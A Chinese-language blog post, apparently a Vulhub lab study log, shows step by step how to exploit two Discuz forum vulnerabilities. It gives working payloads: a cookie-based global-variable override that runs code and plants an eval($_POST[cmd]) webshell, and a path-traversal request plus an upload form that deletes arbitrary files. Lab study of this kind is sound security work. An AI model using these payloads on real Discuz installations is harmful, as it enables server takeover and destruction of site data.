Vulhub 漏洞学习之:Discuz

Vulhub 漏洞学习之:Discuz

1 Discuz 7.x/6.x 全局变量防御绕过导致代码执行

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

具体原理请参考:

1.1 漏洞利用过程

  1. 启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root

    image-20220121162500180

  2. 安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

    GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
    Host: your-ip:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
    Connection: close
    
    
    

    image-20220121163122976

  3. GetShell 操作

    # Payload
    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[cmd])%3B;
    
    # 当前帖子的URL:
    http://192.168.210.13:8080/viewthread.php?tid=12&extra=page%3D1
    
    # 查看当前复制当前帖子的cookie信息,并在后面添加GetShell 的 Payload:
    Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; IkT_sid=F200j0; IkT_visitedfid=2; IkT_oldtopics=D12D; IkT_fid2=1642753412;GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[cmd])%3B;
    
    
    

    image-20220121165235338

  4. GetShell 成功

    image-20220121165255435

2 Discuz!X ≤3.4 任意文件删除漏洞

影响版本:Discuz!X ≤3.4

漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/

2.1 漏洞利用过程

  1. 安装时,只用修改数据库地址为db,其他保持默认即可

  2. 安装成功后,访问http://192.168.210.13/robots.txt,目标存在robots.txt

    image-20220121170012261

  3. 注册用户后,在个人设置页面找到自己的formhash:

    # http://your-ip/home.php?mod=spacecp
    http://192.168.210.13/home.php?mod=spacecp
    

    image-20220121181128253

  4. 带上自己的Cookie、formhash发送如下数据包:

    POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
    Host: localhost
    Content-Length: 367
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
    Cookie: [your cookie]
    Connection: close
    
    ------WebKitFormBoundaryPFvXyxL45f34L12s
    Content-Disposition: form-data; name="formhash"
    
    [your formhash]
    ------WebKitFormBoundaryPFvXyxL45f34L12s
    Content-Disposition: form-data; name="birthprovince"
    
    ../../../robots.txt
    ------WebKitFormBoundaryPFvXyxL45f34L12s
    Content-Disposition: form-data; name="profilesubmit"
    
    1
    ------WebKitFormBoundaryPFvXyxL45f34L12s--
    

    image-20220121181338247

  5. 提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:说明我们的脏数据已经进入数据库了。

    出生地	../../../robots.txt (修改)
    

    image-20220121182038957

  6. 然后,新建一个upload.html,代码如下,将其中的[your-ip]改成discuz的域名,[form-hash]改成你的formhash,再使用登录的浏览器打开:

    <body>
        <form action="http://[your_ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
            <input type="file" name="birthprovince" />
            <input type="submit" value="upload" />
        </form>
    </body>
    
  7. 使用BP拦截会话请求,用浏览器打开该页面,上传一个正常图片。在上传图片的请求中插入登录后的Cookie值,此时脏数据应该已被提取出。

    image-20220121180627783

  8. 再次访问http://your-ip/robots.txt,发现文件成功被删除,漏洞已经利用结束。

    image-20220121180718583

posted @ 2022-02-13 13:15  f_carey  阅读(337)  评论(0编辑  收藏  举报